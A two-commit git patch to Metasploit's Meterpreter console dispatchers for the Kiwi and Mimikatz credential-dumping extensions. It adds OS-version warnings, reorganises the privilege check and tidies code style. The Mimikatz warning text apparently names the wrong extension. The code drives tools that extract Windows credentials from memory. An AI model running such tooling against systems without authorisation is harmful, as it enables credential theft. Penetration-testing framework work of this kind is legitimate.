From 635d92901f44e4685d1a39f018979da89f109e16 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 5 Sep 2018 09:34:34 +1000 Subject: [PATCH 1/2] Add warning for mimikatz and kiwi if OS versions are wrong --- .../ui/console/command_dispatcher/kiwi.rb | 15 ++- .../ui/console/command_dispatcher/mimikatz.rb | 123 +++++++++--------- 2 files changed, 70 insertions(+), 68 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb index 302c3820f3..c7b9c3ed60 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -8,7 +8,7 @@ module Ui ### # -# Kiwi extension - grabs credentials from windows memory. +# Kiwi extension - grabs credentials from windows memory (newer OSes). # # Benjamin DELPY `gentilkiwi` # http://blog.gentilkiwi.com/mimikatz @@ -46,10 +46,15 @@ class Console::CommandDispatcher::Kiwi print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */") print_line - if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64 + si = client.sys.config.sysinfo + if client.arch == ARCH_X86 and si['Architecture'] == ARCH_X64 print_warning('Loaded x86 Kiwi on an x64 architecture.') print_line end + + if si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i + print_warning("Loaded Kiwi on an old OS (#{si['OS']}). Did you mean to 'load mimikatz' instead?") + end end # @@ -87,9 +92,9 @@ class Console::CommandDispatcher::Kiwi # Valid options for the password change feature # @@password_change_usage_opts = Rex::Parser::Arguments.new( - '-h' => [false, 'Help banner'], - '-u' => [true, 'User name of the password to change.'], - '-s' => [true, 'Server to perform the action on (eg. Domain Controller).'], + '-h' => [false, 'Help banner'], + '-u' => [true, 'User name of the password to change.'], + '-s' => [true, 'Server to perform the action on (eg. Domain Controller).'], '-p' => [true, 'The known existing/old password (do not use with -n).'], '-n' => [true, 'The known existing/old hash (do not use with -p).'], '-P' => [true, 'The new password to set for the account (do not use with -N).'], diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index d8c983273d..1efd1068b6 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -8,12 +8,13 @@ module Ui ### # -# Mimikatz extension - grabs credentials from windows memory. +# Mimikatz extension - grabs credentials from windows memory (older OSes). # # Benjamin DELPY `gentilkiwi` # http://blog.gentilkiwi.com/mimikatz # # extension converted by Ben Campbell (Meatballs) +# ### class Console::CommandDispatcher::Mimikatz @@ -21,14 +22,27 @@ class Console::CommandDispatcher::Mimikatz include Console::CommandDispatcher + # + # Name for this dispatcher + # + def name + 'Mimikatz' + end + # # Initializes an instance of the priv command interaction. # def initialize(shell) super - if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64 + + si = client.sys.config.sysinfo + if client.arch == ARCH_X86 and si['Architecture'] == ARCH_X64 + print_warning('Loaded x86 Mimikatz on an x64 architecture.') print_line - print_warning "Loaded x86 Mimikatz on an x64 architecture." + end + + unless si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i + print_warning("Loaded Mimikatz on a newer OS (#{si['OS']}). Did you mean to 'load mimikatz' instead?") end end @@ -37,25 +51,25 @@ class Console::CommandDispatcher::Mimikatz # def commands { - "mimikatz_command" => "Run a custom command", - "wdigest" => "Attempt to retrieve wdigest creds", - "msv" => "Attempt to retrieve msv creds (hashes)", - "livessp" => "Attempt to retrieve livessp creds", - "ssp" => "Attempt to retrieve ssp creds", - "tspkg" => "Attempt to retrieve tspkg creds", - "kerberos" => "Attempt to retrieve kerberos creds" + 'mimikatz_command' => 'Run a custom command.', + 'wdigest' => 'Attempt to retrieve wdigest creds.', + 'msv' => 'Attempt to retrieve msv creds (hashes).', + 'livessp' => 'Attempt to retrieve livessp creds.', + 'ssp' => 'Attempt to retrieve ssp creds.', + 'tspkg' => 'Attempt to retrieve tspkg creds.', + 'kerberos' => 'Attempt to retrieve kerberos creds.' } end @@command_opts = Rex::Parser::Arguments.new( - "-f" => [true, "The function to pass to the command."], - "-a" => [true, "The arguments to pass to the command."], - "-h" => [false, "Help menu."] + '-f' => [true, 'The function to pass to the command.'], + '-a' => [true, 'The arguments to pass to the command.'], + '-h' => [false, 'Help menu.'] ) def cmd_mimikatz_command(*args) if (args.length == 0) - args.unshift("-h") + args.unshift('-h') end cmd_args = nil @@ -64,30 +78,30 @@ class Console::CommandDispatcher::Mimikatz @@command_opts.parse(args) { |opt, idx, val| case opt - when "-a" + when '-a' cmd_args = val - when "-f" + when '-f' cmd_func = val - when "-h" - print( - "Usage: mimikatz_command -f func -a args\n\n" + - "Executes a mimikatz command on the remote machine.\n" + - "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + - @@command_opts.usage) + when '-h' + print_line('Usage: mimikatz_command -f func -a args') + print_line + print_line('Executes a mimikatz command on the remote machine.') + print_line('e.g. mimikatz_command -f sekurlsa::wdigest -a full') + print_line(@@command_opts.usage) return true end } unless cmd_func - print_error("You must specify a function with -f") + print_error('You must specify a function with -f') return true end if cmd_args - arguments = cmd_args.split(" ") + arguments = cmd_args.split(' ') end - print_line client.mimikatz.send_custom_command(cmd_func, arguments) + print_line(client.mimikatz.send_custom_command(cmd_func, arguments)) end def mimikatz_request(provider, method) @@ -96,17 +110,14 @@ class Console::CommandDispatcher::Mimikatz accounts = method.call table = Rex::Text::Table.new( - 'Header' => "#{provider} credentials", - 'Indent' => 0, + 'Header' => "#{provider} credentials", + 'Indent' => 0, 'SortIndex' => 4, - 'Columns' => - [ - 'AuthID', 'Package', 'Domain', 'User', 'Password' - ] + 'Columns' => ['AuthID', 'Package', 'Domain', 'User', 'Password'] ) accounts.each do |acc| - table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")] + table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || '').gsub("\n", '')] end print_line table.to_s @@ -116,63 +127,49 @@ class Console::CommandDispatcher::Mimikatz def cmd_wdigest(*args) method = Proc.new { client.mimikatz.wdigest } - mimikatz_request("wdigest", method) + mimikatz_request('wdigest', method) end def cmd_msv(*args) method = Proc.new { client.mimikatz.msv } - mimikatz_request("msv", method) + mimikatz_request('msv', method) end def cmd_livessp(*args) method = Proc.new { client.mimikatz.livessp } - mimikatz_request("livessp", method) + mimikatz_request('livessp', method) end def cmd_ssp(*args) method = Proc.new { client.mimikatz.ssp } - mimikatz_request("ssp", method) + mimikatz_request('ssp', method) end def cmd_tspkg(*args) method = Proc.new { client.mimikatz.tspkg } - mimikatz_request("tspkg", method) + mimikatz_request('tspkg', method) end def cmd_kerberos(*args) method = Proc.new { client.mimikatz.kerberos } - mimikatz_request("kerberos", method) + mimikatz_request('kerberos', method) end def get_privs - unless system_check - print_status("Attempting to getprivs") - privs = client.sys.config.getprivs - unless privs.include? "SeDebugPrivilege" - print_warning("Did not get SeDebugPrivilege") - else - print_good("Got SeDebugPrivilege") - end + if client.sys.config.is_system? + print_good('Running as SYSTEM') else - print_good("Running as SYSTEM") + print_warning('Not currently running as SYSTEM') + print_status('Attempting to getprivs ...') + privs = client.sys.config.getprivs + + if privs.include?('SeDebugPrivilege') + print_good('Got SeDebugPrivilege.') + else + print_warning('Unable to get SeDebugPrivilege.') + end end end - - def system_check - unless client.sys.config.is_system? - print_warning("Not currently running as SYSTEM") - return false - end - - return true - end - - # - # Name for this dispatcher - # - def name - "Mimikatz" - end end end From e2c67487599e2bd26fe906fea3c7f6b09fc18e84 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 12 Sep 2018 08:27:27 +1000 Subject: [PATCH 2/2] Replace 'and' with '&&' --- lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb | 2 +- .../post/meterpreter/ui/console/command_dispatcher/mimikatz.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb index c7b9c3ed60..17d009ea89 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -47,7 +47,7 @@ class Console::CommandDispatcher::Kiwi print_line si = client.sys.config.sysinfo - if client.arch == ARCH_X86 and si['Architecture'] == ARCH_X64 + if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64 print_warning('Loaded x86 Kiwi on an x64 architecture.') print_line end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index 1efd1068b6..456f95d57f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -36,7 +36,7 @@ class Console::CommandDispatcher::Mimikatz super si = client.sys.config.sysinfo - if client.arch == ARCH_X86 and si['Architecture'] == ARCH_X64 + if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64 print_warning('Loaded x86 Mimikatz on an x64 architecture.') print_line end